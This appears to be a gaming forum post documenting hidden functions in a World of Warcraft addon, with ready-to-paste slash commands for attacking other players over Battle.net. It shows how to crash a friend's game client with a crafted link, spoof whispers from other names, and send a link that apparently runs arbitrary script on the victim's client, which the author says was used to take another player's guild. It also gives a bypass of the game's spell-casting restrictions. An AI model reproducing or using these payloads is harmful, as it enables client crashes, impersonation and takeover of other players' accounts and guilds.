Over a month ago, the final release of KnowItAll from RAoV's Hp94 came out. It's still at that status on curse, sitting stagnant since his silent departure.
Download:
KnowItAll - Addons - Curse
FTestFunction:
There are a couple people who are still going through the code, and are still finding things that he never told us. One of them is his 'test' functions. Using "FTestFunction" (You must download the addon), you can actually cause a fatal error with a hyperlink. To do this, simply open up your friends list. Count how far down someone is on the list (Top = 1, next = 2, etc). Type:
/dump BNGetFriendInfo(number)
number being the number down they are. You need to do this for every single ID you want to get. That will print out:
dump:
[1] = newNumber
[2] = etc...
Next: Type:
/script FTestFunction(newNumber)
You will find that they will go offline, and very quickly They have received a fatal error message, because WoW has crashed (Note to self: Don't try linking in /2). You can do this to anyone over real ID. You can send it to anyone who you have as 'friends', although after a few times they wise up to what's happening.
Other Functions:
There are also other useful functions.
CTestFunction: Allows any spell to become part of any text. It sends "Entire Message", and when clicked, shows the link to Death Touch. If you go into the file, KnowItAllDungeonBuddy.lua, and go to the bottom (Or use ctrl-F), you will see:
function CTestFunction(presence_ID)
BNSendWhisper(presence_ID, "|cff71d5ff|Hspell:5|hEntire Message|h|r")
end
Where the text is, "Entire Message", is where you want to replace it with your text, anything you want. The "5", inside, is the SpellID. You can make it so when it is clicked, it shows any spell you choose. All the test functions are in the same place and in the same format.
function ETestFunction(ID)
BNSendWhisper(ID, "|Hplayer:[Frostmourne]|h[The Lich King] whispers: You will betray your allies!|h")
end
This sends a message that looks like the Lich King has whispered you, saying you will betray your allies. When you try to reply, it replies to Frostmourne (Sending a message gives 'Frostmourne is not online'). Change [Frostmourne] to anyones name, [The Lich King] for replies, and You will betray your allies for the message.
function XTestFunction(ID, script, link)
BNSendWhisper(ID, "|HKIA_LINK:KIA_R"..script.."|h"..link.."|h")
end
This looks like it will actually run any script you type in on the other computer. As soon as they click on the link. I was able to take Oomo's guild simply by having him click on a hyperlink that said "Check out [item]!". He has control back.
function HTestFunction(ID)
BNSendWhisper(ID, "|cffff8000|Hinstancelock:068000000445A2C7:169:0:15|h[Emerald Dream]|h|r")
end
This function allows even normal clients to look up which ID a map is for. For instance, that is some players instance lock for the Emerald Dream. Change the 068000000445A2C7 to whatever your GUID is (/dump UnitGUID("player") to find your own). Change the "169" to whatever map ID you want to send a completed instance lock of (Can be changed to incomplete... somehow).
ITestFunction does not seem to work. JTestFunction, unfortunately, looks like it is an attempt to send a texture along with a GM player link. It doesn't work (anymore?). There is also a comment with the entire argument list, so it looks like there was something that was still going on, but was abandoned:
--"|HplayerGM:"..arg2..":"..arg11.."|h".."["..arg2.."]".."|h")..arg1;
Additional Functions
These are edits in of additional functions found. Recently, there was a post in Elite of Hp94's (Now gone? I can't find where the posts went) of how to cast GM Spells, including the Internal Knowledge spell. Blizzard very quickly hotfixed being able to cast spells you do not know. Then, they put out a patch soon after making sure you can not put any spells you do not explictily know into the action bars. Attached to the medals frame in KnowItAll, is a secure casting frame that bypasses all of Blizzards changes, every one of them. In order to see it, type:
/kia m
And the medals frame appears. Next, type:
/script PortBox_Teleport1:Show()
Now you have your frame shown. You can set it to attempt to cast any spell on click by using:
/kia setc spellID
For instance, /kia setc 5 will make it try to cast Death Touch. This makes going through the list of 50,000+ spells possible again, to find more mishaps on Blizzards end (The flares were one, Internal Knowledge, 20 second friendly party member stun, etc. There's a mistake every couple thousand tries and a new castable spell is found).
<More>
Scripts to allow use of the functions without the addon (Not recommended! - But will work almost the same).
Code:
/script function FTestFunction(ID) BNSendWhisper(ID, "|cffFF4E00|Hlevelup:-1:LEVEL_UP_TYPE_CHARACTER|hHey, guess what I just got? its [Fetish of the Bloodthirsty Gladiator] |h|r"); end
Code:
/script function CTestFunction(ID) BNSendWhisper(presence_ID, "|cff71d5ff|Hspell:5|hEntire Message|h|r"); end
Code:
/script function ETestFunction(ID) BNSendWhisper(ID, "|Hplayer:[Frostmourne]|h[The Lich King] whispers: You will betray your allies!|h"); end
Code:
/script function XTestFunction(ID, script, link) BNSendWhisper(ID, "|HKIA_LINK:KIA_R"..script.."|h"..link.."|h"); end
Code:
/script HTestFunction(ID) BNSendWhisper(ID, "|cffff8000|Hinstancelock:068000000445A2C7:169:0:15|h[Emerald Dream]|h|r"); end
Code:
/script JTestFunction(ID) local pflag = "|TInterface\\ChatFrame\\UI-ChatIcon-Blizz.blp:0:2:0:-3|t "; BNSendWhisper(ID, "|HGMChat|h["..pflag.."]|h"); end
<More>
There is a list of "!" commands in many chat messages. I'll make a list, but I don't think I'll have time to go through all of them and see what they do.
When you are whispered:
!joke --replys with a joke
!lookup --allows remote lookups of every single spell in the game
!RunScript --'blocked' - most likely because it will actually cause you to run any script if whispered correctly
!say --makes you talk, with a tag, you can 'ban' people who abuse this
!guild --makes you talk in guild with a nice tag. You can ban people who abuse this
!encrpyt $
!encrpyt #
!encrpyt S
!connect --connect to guild chat (literally)
!disconnect --disconnect from guild chat (literally)
!dc --same
!list
!emote --do an emote
!info
!help --help!
!who
!send --needs format !send <something> {somethingElse} moreSomethings
When you whisper someone else:
!ban --bans them from using your own KnowItAll chat functions
!kick --kicks them from the guild chat, if they are connected
!remove --same
!unban --allows them to use you KnowItAll chat functions again
When someone says this in battleground:
!encrpyt $
!encrpyt #
!encrypt S
!joke --replies with a joke
!strat --if someone says !strategy in a battleground, you will actually say the battleground strategy out loud. Super awesome
When someone says this in a party or raid:
!encrpyt $
!encrpyt #
!encrypt S
!joke --replies with a joke
On Battle.net Whisper:
!help --replies with help
!who
!send --seems to need format !send <something> {somethingMore} somethingElse
Those are all the 'inside' chat commands. If you whisper a message to someone with !ban, the addon will do something. When you are whispered !connect, the addon will do something else. This is almost a compelte list.
Notes:
There seems to be alot of missing letters. Who knows what those functions could have been. Until then, feel free to use these while we look through the code to see if there are any other functions (Currently over 10,000 total, anyone can look themselves and post if they find anything else useful, I'll +rep). We'll see how far the rabbit hole goes.
Video will be up later!